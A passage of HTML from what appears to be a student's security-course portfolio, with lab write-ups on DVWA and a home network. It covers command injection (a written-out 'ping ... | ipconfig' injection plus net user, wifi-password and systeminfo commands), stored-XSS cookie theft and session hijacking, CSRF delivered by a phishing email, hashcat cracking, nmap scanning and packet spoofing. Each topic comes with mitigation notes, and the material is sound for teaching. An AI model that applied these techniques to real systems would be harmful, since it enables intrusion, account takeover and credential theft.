in a shell. It would probably looks like something like this "ping 'INSERTED_IP'".</p> <p>Now this little symbol "|" is called a pipe and it can be used to execute multiple commands in one line. So I used the "|" to execute my own command after the ping command just like shown above.</p> <p>I typed in the ip because it still needs to execute the ping command and after that I did a "ipconfig" so the command would look like this when executed in the shell: "ping 185.230.127.234 | ipconfig" This gave us the ip information of the machine the webpage is running on.</p> <a href="../../img/portfolio/red/CmdCurrentUser.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdCurrentUser.png" alt=""></a> <p>I can also get the current user logged in user from the machine using "net user". But with "net user" you can do much more even change the password of the current user or create a completely new user just for me.</p> <a href="../../img/portfolio/red/CmdWifiPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdWifiPass.png" alt=""></a> <p>What is maybe even better I can get the wifi password of the connected pc in plain text. Now I can connect to the same network because I know the password.</p> <a href="../../img/portfolio/red/CmdEnterpriceWifi.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdEnterpriceWifi.png" alt=""></a> <p>This trick doesn't work with more advanced wifi security though. Here you see the eduroam network from school which is protected with 802.1x control. This doesn't mean you can't get the password at all it just makes it a whole lot harder.</p> <a href="../../img/portfolio/red/CIDIR.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CIDIR.png" alt=""></a> <p>I was also able to run the "dir" command. This tells me a lot about the local machine and how the web server is installed.</p> <a href="../../img/portfolio/red/CISystemInfo.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CISystemInfo.png" alt=""></a> <P>With the "systeminfo" command I'm able to get a lot of information about the physical machine which might be useful to me later. It greatly increases my attack surface.</P> <p>This can be prevented by sanitizing the input and not just inserting it straight into the shell. Make sure it goes to a parameterised function first, check the input and then insert it into a shell for example.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Command injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal10" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site scripting</p> <p>I will now show you how you could apply XSS to a website.</p> <a href="../../img/portfolio/red/XSSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlert.png" alt=""></a> <p>First I have to check if the website is vulnerable. The easiest way to check this is just to try a simple "Alert" script just like this.</p> <a href="../../img/portfolio/red/XSSAlertResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlertResult.png" alt=""></a> <p>As you can see the script works so that means that the website is vulnerable to XSS. Now I can try something that has some more impact and could actually be useful for me.</p> <a href="../../img/portfolio/red/MaxCharLimit.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/MaxCharLimit.png" alt=""></a> <p>This form doesn't allow more than 50 characters, so writing bigger scripts might make this difficult. Luckily they only validate this in the frontend so I can just inspect this page and change the maximum characters in the form. So now I can write some bigger scripts that give me more information.</p> <a href="../../img/portfolio/red/XSSGetCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>Like getting the cookie of the user so I can hijack their session.</p> <a href="../../img/portfolio/red/XSSGetCookieResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>So now I got the cookie it is my own though, but these scripts get stored inside the comments and the comments are persistent. Therefore I could also write a script that sends the cookie to me instead of displaying it. This way I can make it almost invisible for everyone to see and everyone who loads this page their cookie gets send to me.</p> <a href="../../img/portfolio/red/XSSOldCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSOldCookie.png" alt=""></a> <p>Now I can try to use the cookie that I stole in the previous picture to try and login. As you can see my cookie is now different and I'm not logged in.</p> <a href="../../img/portfolio/red/XSSNewCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSNewCookie.png" alt=""></a> <p>Now I placed the cookie I stole in my own cookie to hopefully make the website think I'm the person who is logged in that I stole this cookie from.</p> <a href="../../img/portfolio/red/XSSSessionHijack.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSSessionHijack.png" alt=""></a> <p>And now when I try to load the index page the website thinks I'm logged in as the person the cookie belongs to and I hijacked their session. I can now do everything on their account, comment in their name and change their data or steal their data.</p> <p>And if this person is by any chance an admin I might be able to do some more extreme things as well. Like creating or deleting users or their comments.</p> <a href="../../img/portfolio/red/XSSIframe.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframe.png" alt=""></a> <P>Sometimes the programmers try to prevent XSS by filtering out the script tags. But they forget the filter out all the other HTML tags. So I can load my own website in an "Iframe".</P> <a href="../../img/portfolio/red/XSSIframeResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframeResult.png" alt=""></a> <p>This might only sound as good free marketing but you can also do other things. Like redirecting everyone that visits this page to my own website or inject scripts in other html tags, so I can still run my scripts even though they banned the script tags.</p> <p>These type of attacks can be prevented by sanitizing the input much like SQL injection. Make sure that all the text that users can post to the website's frontend doesn't get converted to straight HTML. In this way they can't exploit other HTML tags as well.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site scripting</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal11" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site request forgery</p> <p>Now I'm going to exploit CSRF on a website. The principles are quite simple, if you see the query that is called in the search bar, then the website might be vulnerable.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>As you can see in the search bar the website creates a query. If I would send this query without the form it would work as well but only for me. So I need to get this link to an user fill in my own password and make him click it.</p> <a href="../../img/portfolio/red/CSRFHTMLFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFHTMLFile.png" alt=""></a> <p>So I created a little phishing email using HTML. By using HTML I can make the email as legit as possible. By hiding the actual link in a text or even adding the DVWA logo. If I would know how they normally would send emails to their users, I could fully recreate it and you won't see the difference.</p> <a href="../../img/portfolio/red/CSRFUserEmail.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFUserEmail.png" alt=""></a> <p>The user would get an email like this and if you add urgency to the message, the user might not even think about any red flags because they feel the need to act as fast as possible.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>Now the user got send to the same page to change your password, but I already changed it when it loaded the page.</p> <a href="../../img/portfolio/red/CSRFLogin.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLogin.png" alt=""></a> <p>Now if the user tries to login he can't because the password is changed, and I can log into his account and exploit it as much as I want.</p> <p>These type of attacks can be prevented by using things like a CAPTCHA or asking the user to fill in their old password. Even though this cannot fully prevent this type of attack it will make it a lot harder to succeed</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site request forgery</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal12" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Path traversal</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Path traversal</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal13" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Password cracking</p> <p>Now I'm going to show to basics of password cracking.</p> <p> There are a few main ways to crack passwords <ul> <li>Brute forcing</li> <li>Dictionary attacks</li> <li>Rainbow tables</li> </ul> </p> <p>Brute forcing is the most basic way to crack a password, it just tries every possible combination of letters. It has a few pros and some big cons.</p> <p>Brute forcing is rarely used these days just for the simple reason that cracking a modern encrypted password would take more then a lifetime. It also costs a lot of computing power because it generates the hashes on the fly and there are a lot of hashes to generate and try. The pro is though that it doesn't use any storage space because it generates everything instead of getting them for a wordlist. Brute forcing could be an option when you know that the password that you're cracking isn't a existing word but rather a string of random numbers and letters. Even though brute forcing might be the only option in that case, you're probably better off finding another way to get the password.</p> <p>Dictionary attacks are more sophisticated, it's way more efficient and faster but there a big con.</p> <p>Dictionary attacks use a predefined list of words and generates hashes for them and then compare them to the hash you want to crack to see if any of them match. The pro is that this is way faster. The downside on the other hand is that if the password you want to crack isn't in the word list you have no chance of success. The dictionary attack could be extended by generating multiple versions of every word some with captitals some with random numbers after them etc. A dictionary attack could also be made very personal and tailored to the specifications of your target. For example adding the targets place of work or pet names to the list. Also if you want more chance of success you'll need a bigger word list and those can grow pretty fast costing thus a lot of storage space.</p> <p>Rainbow tables are in essence a lot like dictionary attacks, but actually better.</p> <p>Rainbow tables contain like a dictionary attack a wordlist. The difference is that the wordlist is already hashed and could contain all possible solutions making a look like a brute force. You could for instance create a rainbow table having every possible solution making it a bruto force but more efficient costing less time, or generate hashes for your dictionary attack wordlist which might be reusable costing you less time in the future. Rainbow tables do come with some downsides like it costs a lot of harddisk space, less then a dictionary attack of the same size because it uses lossless compression, but if you want a lot of possibilities it will still be a big file. The hash type like MD5 or SHA256 is static thus making it less versatile/useful when you don't know the encryption type. Same goes for the salt, a salt could be added to the list but it will make the file even bigger. A problem that you won't have with a dictionary attack or brute force because the hashes get generated in the fly.</p> <p>A good way to make encrypted passwords harder to crack is by using a salt or a pepper. A salt is random data added to the password before it's hashed, and because it's different for every new password it gets stored alongside the password. This has a pro and a con. The pro is that the salt is different for every password meaning that if one password gets compromised the others are still save. The downside is though that if someone breaches the database he will know the salts for each password instantly. Now a pepper uses the same method to encrypt a password, it is random data and adds it to the password before it's hashed. But a pepper is static and is stored separately from the password hashes. Now this method has a pro and con as well. The pro is that if the database is breached the hacker won't know the pepper making cracking the passwords a lot harder. The con is that if he finds the pepper all the passwords are compromised, but to do that he might need to decompile the code and find the pepper, which is a lot harder than breaching the database most of the time.</p> <a href="../../img/portfolio/red/CrackHashGenerate.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashGenerate.png" alt=""></a> <p>I created a small demonstration on hacking a simple MD5 hash. So I first of all created a hash for the string "password".</p> <a href="../../img/portfolio/red/CrackHashId.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashId.png" alt=""></a> <p>If I would have stole this hash from some database I might not know the hash type, which is important for me to know if I want to save time or use a rainbow table. So I ran "Hash-identifier" and gave it the hash. This gives me an idea what the hash type might be.</p> <a href="../../img/portfolio/red/CrackHashFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashFile.png" alt=""></a> <p>I placed the has in a file. In this case there's only one hash in there but in reality this list could contain all the hashes from a certain database.</p> <a href="../../img/portfolio/red/CrackHashResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashResult.png" alt=""></a> <p>Now I used "Hashcat" to crack the password using a wordlist called "rockyou". This wordlist contains the most common password based on data breaches in the past. As you can see it cracked the password and it only took 1 second. Do mind that in this case the password was high up in the wordlist. The program only went through 0.03% of the entire wordlist, if the password was much lower in the list this would take a lot longer.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Password cracking</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal14" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network scanning and enumeration</p> <p>To create a demo for this a made up a scenario. The scenario is that I got VPN access to a place I want to hack and I want to know how the network looks like. This is no actual hack but mere a VPN tunnel to my own home.</p> <a href="../../img/portfolio/red/NetworkScanConnVPN.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanConnVPN.png" alt=""></a> <p>So I looked up in which IP range I was so I had a clue from which I could continue.</p> <a href="../../img/portfolio/red/NetworkScanDone.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDone.png" alt=""></a> <p>I did a network scan using NMap in the ip range that I was connected to. As you can see on the left hand side there are some machines that came up in the scan which I could take a look at.</p> <a href="../../img/portfolio/red/NetworkScanTopology.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanTopology.png" alt=""></a> <p>I took a look at the topology of the network first. This is a easy way to get an overview of the network, all with connected routers, AP's and switches. I can also see in this diagram that there are some devices in red which mean they have 6 or more open ports, those devices might be more interesting to me</p> <a href="../../img/portfolio/red/NetworkScanNASHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASHost.png" alt=""></a> <p>I see that this machine is different from the rest, it's the only one running FreeBSD so that might be interesting.</p> <a href="../../img/portfolio/red/NetworkScanNASPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASPorts.png" alt=""></a> <p>This machine has open ports for the smb protocol which could mean this is a NAS. I could use this information to go further and get for example access to the samba shares.</p> <a href="../../img/portfolio/red/NetWorkScanRouterHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterHost.png" alt=""></a> <p>Using the before mentioned topology graph I noticed that the router has a lot of open ports as well. Getting into a network's router could give me more access to other parts of the network.</p> <a href="../../img/portfolio/red/NetWorkScanRouterPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterPorts.png" alt=""></a> <p>Here I can see that the router has some open ports for ssh, telnet and some webserver I can poke at.</p> <a href="../../img/portfolio/red/NetWorkScanDesktopHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanDesktopHost.png" alt=""></a> <p>While looking at the topology graph I saw another machine with a lot of open ports so I took a look, and it looks like a windows machine.</p> <a href="../../img/portfolio/red/NetworkScanDesktopPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDesktopPorts.png" alt=""></a> <p>There are a few different open ports on this machine then other regular desktops. Like a MariaDB which I could try to access or take a look at the webserver. The Windows RPC protocol is running on an open port which I can utilize to get in because there are some known exploits for that.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network scanning and enumeration</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal15" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network sniffing and spoofing</p> <p>I will show 2 little demos as a proof of concept.</p> <a href="../../img/portfolio/red/WiresharkHTTPSite.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPSite.png" alt=""></a> <p>I have a "pi-hole" server running on my network that acts as my home dns server. It has a login screen for a dashboard with statistics but it is not HTTPS secured. So I tried catching the password with Wireshark while logging in.</p> <a href="../../img/portfolio/red/WiresharkHTTPResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPResult.png" alt=""></a> <p>When I filter Wireshark to only HTTP and logged in in te website I can see my IP and the website's IP. When I open the packet and took a look what's inside, you can see the form post with password in plain text. Now this website doesn't hash the password so I can see the password in plain text, otherwise I would have seen a hash which I had to decrypt to get the password.</p> <a href="../../img/portfolio/red/ScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/ScapyPacket.png" alt=""></a> <p>I created a fake IPV4 packet using "scapy". I made it so that it looks like the packet is coming from google, but It's actually from me and I put my malicious code in it.</p> <a href="../../img/portfolio/red/WireSharkScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WireSharkScapyPacket.png" alt=""></a> <p>I captured the packet with Wireshark and as you can see the source address is google, but when you look in the raw my malicious code is in there.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network sniffing and spoofing</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal16" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Law, Ethics and Responsible Disclosure</p> <p>The Ethics are both quite abstract though logical at the same time. The are written in an abstract manner in which they could apply to even other things than hacking. Thus making it logical as well. Many things you wouldn't do to someone in real life you wouldn't do online. I think it's the same point <a href="https://www.youtube.com/watch?v=HmZm8vNHBSU">these</a> guys tried to make, except badly executed.</p> <P>In my opinion the internet is one of the last few free places there are in the world. Though sometimes tightly controlled by governments, look at China or North-Korea, people still find ways around the system to express their voices. I agree with the ethics being like gentlemen rules, just don't be a dick to someone, don't do anything you wouldn't want to be done to yourself. But this doesn't include expressing your opinion even though it might hurt some people. On the internet you still got the right to say those things the same as people having the right to disagree and say something about it. While in the real world when you say something wrong people will call it a form of discrimination and you'll get prosecuted. Thus undermining the freedom of speech and creating more and more censorship.</P> <p>These are the responsible disclosures of companies I compared.</p> <ul> <li><a href="https://www.google.com/about/appsecurity/">Google</a></li> <li><a href="https://support.apple.com/en-us/HT201220">Apple</a></li> <li> <a href="https://fontys.nl/Over-Fontys/Organisatie-en-sturing/Onze-organisatieNieuw/Regelingen-statuten-en-reglementen/Responsible-disclosure-Fontys-Hogescholen.htm">Fontys</a> </li> </ul> <p>The first things that stood out to me was the rewards. While Google and Apple being big corporations reward the people with big sums of money, the Fontys rewards them by putting their name on the wall of fame. Looking at other smaller companies it is more common to give some merchandise, putting their names on the hall of fame or giving a small amount of money compared to the big numbers Google and Apple are giving as rewards.</p> <p>What they all have in common is that they want a full detailed report of what you did so they can reproduce the scenario. They all don't want you to make anything public before they had a chance to fix it and don't dig any deeper in sensitive date that is necessary to proof the vulnerability.</p> <p>They all also state that even though you did anything illegal while proofing the vulnerability, if you follow their responsible disclosure and follow their rules they won't pursue any legal actions.</p> <p>It is quite logical that companies don't prosecute these people and give them rewards instead, because if you think about it they will lose far less money when they pay these rewards then if they get hacked by a real threat. Looking at <a href="https://www.bugcrowd.com/bug-bounty-list/">this</a> website a lot of companies share that same ideology.</p> <ul class="list-inline"> <li>Date: December 2019</li> <li>Client: Fontys</li> <li>Category: Law, Ethics and Responsible Disclosure</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal17" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Basic hacking process</p> <p>First lets talk about the basic hacking process. This is a process most hackers will follow when conducting a hack, good or bad. Though good and bad use this process there is a key difference between the two.</p> <a href="../../img/portfolio/red/hackingstappen.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/hackingstappen.png" alt=""></a> <p>These are the basic hacking steps that are needed to conduct a good hack.</p> <h3>Intel Gathering</h3> <p>Intel gathering is the first step in the basic hacking process. In this step the hacker tries to gain as much information on his target as possible. He'll conduct for instance a OSINT, go to the physical location of his target and get a feel for the place and maybe even use social engineering to call his target and try to extract information.</p> <h3>Footprint</h3> <p>Now the hacker will conduct a network scan and try to gain as much information on the target's network as possible. He needs to find a foothold from which he can continue further, think about ip ranges, open ports, OS versions and important servers.</p> <h3>Vuln Analysis</h3> <p>The hacker will now look for any out of date software or operating systems to use exploits on. Whenever he'll find a software version he'll look if there's a CVE entry for that he could exploit. He might also use some automated tools to find common vulnerabilities for him. The hacker will also try any website for web vulnerabilities like SQL injection, command injection, CSRF and XSS.</p> <h3>Exploitation</h3> <p>Now is time for action. The hacker will use the information and vulnerabilities he found in the previous step to use his exploits. Thus gaining access to his target or the information he's after. Most ethical hackers/pentesters will stop after this step or not even do this step at all because it might result in destabilizing or shutting down the targets network.</p> <h3>Post Exploitation</h3> <p>This step and the following is more applicable to the bad actors out there. Here the hacker will extract the data he's after, edit some data, create new accounts and setup persistence for a backdoor so he can come back later without going through the same process again or have the risk of the target patching the vulnerability he used.</p> <h3>Clean Up</h3> <p>This step is very important for bad actors to not get caught. Here the hacker will try to remove all of his footsteps like logs. Therefore the police or target will not be able to track him down or even know what he did in the first place.</p> <a href="../../img/portfolio/red/Cyber-Kill-Chain.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/Cyber-Kill-Chain.png" alt=""></a> <p>Now this is the cyber kill chain even though it's comparable to the basic hacking process there are some differences.</p> <h3>Reconnaissance</h3> <p>Here the hacker will conduct recon comparable to the intel gathering stage in the basic hacking process.</p> <h3>Weaponization</h3> <p>In this step the hacker is already creating a payload with an exploit to attack his target. It is notable that in the cyber killchain they skip the footprint and vuln analysis stages.</p> <h3>Delivery</h3> <p>Now the payload is to be delivered to the target this can be done by phising email, rubber ducky and so on. This stage is also not present in the basic hacking process, there it's more part of the exploitation stage.</p> <h3>Exploitation</h3> <p>When the payload is delivered the hacker will activate his attack.</p> <h3>Installation</h3> <p>In this stage the hacker will install for example malware to create persistence for a backdoor or to act more stealthy. This would happen in the post exploitation stage in the basic hacking process.</p> <h3>Command & Control</h3> <p>Now the installed malware will call back to the command and control system and give the hacker control of the hacked system. This can be both part of the exploitation and post exploitation stage in the basic hacking process.</p> <h3>Actions on Objectives</h3> <p>Here the hacker will do whatever his intentions were.</p> <h4>The minimal requirements for a good pentest contract and pentest report</h4> <p>In a good pentest contract there should be a clearly defined scope and procedures in case of emergency. The contract should also include a confidentiality agreement. The pentest report should include the scope and goal of the project with the findings and how it was done. It should be explained very carefully and readable for people that weren't aware of the project. The most important thing is ofcourse the advice to give to the company, this way they'll be able to fix any security leaks and the pentest was a success.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Basic hacking process</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal18" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Self reflection</p> <p>The semester started quite slowly for me. It wasn't really clear for me were I should start and were I should look for the right information. This semester was quite different from the defending one. In the defending semester everything went quite easy and smooth and I had a clear goal that I wanted to achieve, I felt like I missed that this semester, hens why it didn't start so smoothly.</p> <p>I started this semester with absolutely no knowledge in hacking into things. I learned quite a lot this semester, must of the things I learned listening to podcasts and understanding the different concepts and trying different things on DVWA.</p> <p>I still don't really feel like I could actually conduct a good pentest and find some decent results after this semester which I think sucks, because I feel like I should. I do think I've the knowledge but I feel like I lack the How-to. I did think I would be quite good at defending a network and building one after previous semester, so I think it's a combination between a lack of goals and guidance.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Self reflection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal19" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Cyber4Z</h2> <p class="item-intro text-muted">My internship at Cyber4Z</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: June 2021</li> <li>Client: Cyber4Z</li> <li>Category: Internship</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal20" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Pen-testing methodologies</p> <p>The standard and most popular pentest methodology is the Lockheed Martin cyber killchain. It's a basic process that explains the order of action a criminal hacker would follow. Thus also making it a viable ethical hacker methodology.</p> <a href="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png" alt=""></a> <p>Knowing what step a attacker is taking or needs to take is good to know. But it's also good to know how to mitigate or prevent each step of the cyber killchain.</p> <a href="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg" alt=""></a> <p>Other than the Lockheed Martin cyber killchain there are a few other frameworks/methodologies, like the well-known OWASP.</p> <ol> <li>OSSTMM (Open Source Security Testing Methodology Manual)</li> <li>OWASP (Open Web Application Security Project)</li> <li>NIST (The National Institute of Standards and Technology)</li> <li>PTES (Penetration Testing Methodologies and Standards)</li> <li>ISSAF (Information System Security Assessment Framework)</li> </ol> <a href="https://www.vumetric.com/blog/top-penetration-testing-methodologies/">Source</a> <p><b>OSSTMM</b> is a peer-reviewed security assessment standard for testing and auditing systems and providing them with a risk score</p> <p><b>OWASP</b> is used as a methodology to pentest websites and web applications.</p> <p><b>NIST</b> is a very strict standard and they promote themselves as functionality driven. They mainly focus on helping federal agencies comply with regulations.</p> <p><b>PTES</b> is a structured approach to pentesting and looks a lot like the Lockheed Martin cyber killchain.</p> <p><b>ISSAF</b> is a pentesting methodology where the pentester imitates a hacker. This also looks a lot like the Lockheed Martin cyber killchain.</p> <p>Apart from all these methodologies there's another well known entity known by not only red teamers but also well-known by the blue teamers. This framework is known as the <a href="https://attack.mitre.org/">Mitre ATT&CK Framework</a> this framework contains almost every possible way to attack a network or machine.</p> <p>I've used the Mitre ATT&CK framework a lot when monitoring the SOC in my home network. Wazuh automatically categorizes the incoming alert in the Mitre ATT&CK framework. On the opposite side from te red teamer perspective I've used OWASP and the Lockheed Martin cyber killchain a lot. Mostly when performing pentests but also when cracking machines on Hackthebox and when participating in CTF events.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal21" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Linux Write-up</p> <a href="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png"><img class="img-fluid d-block 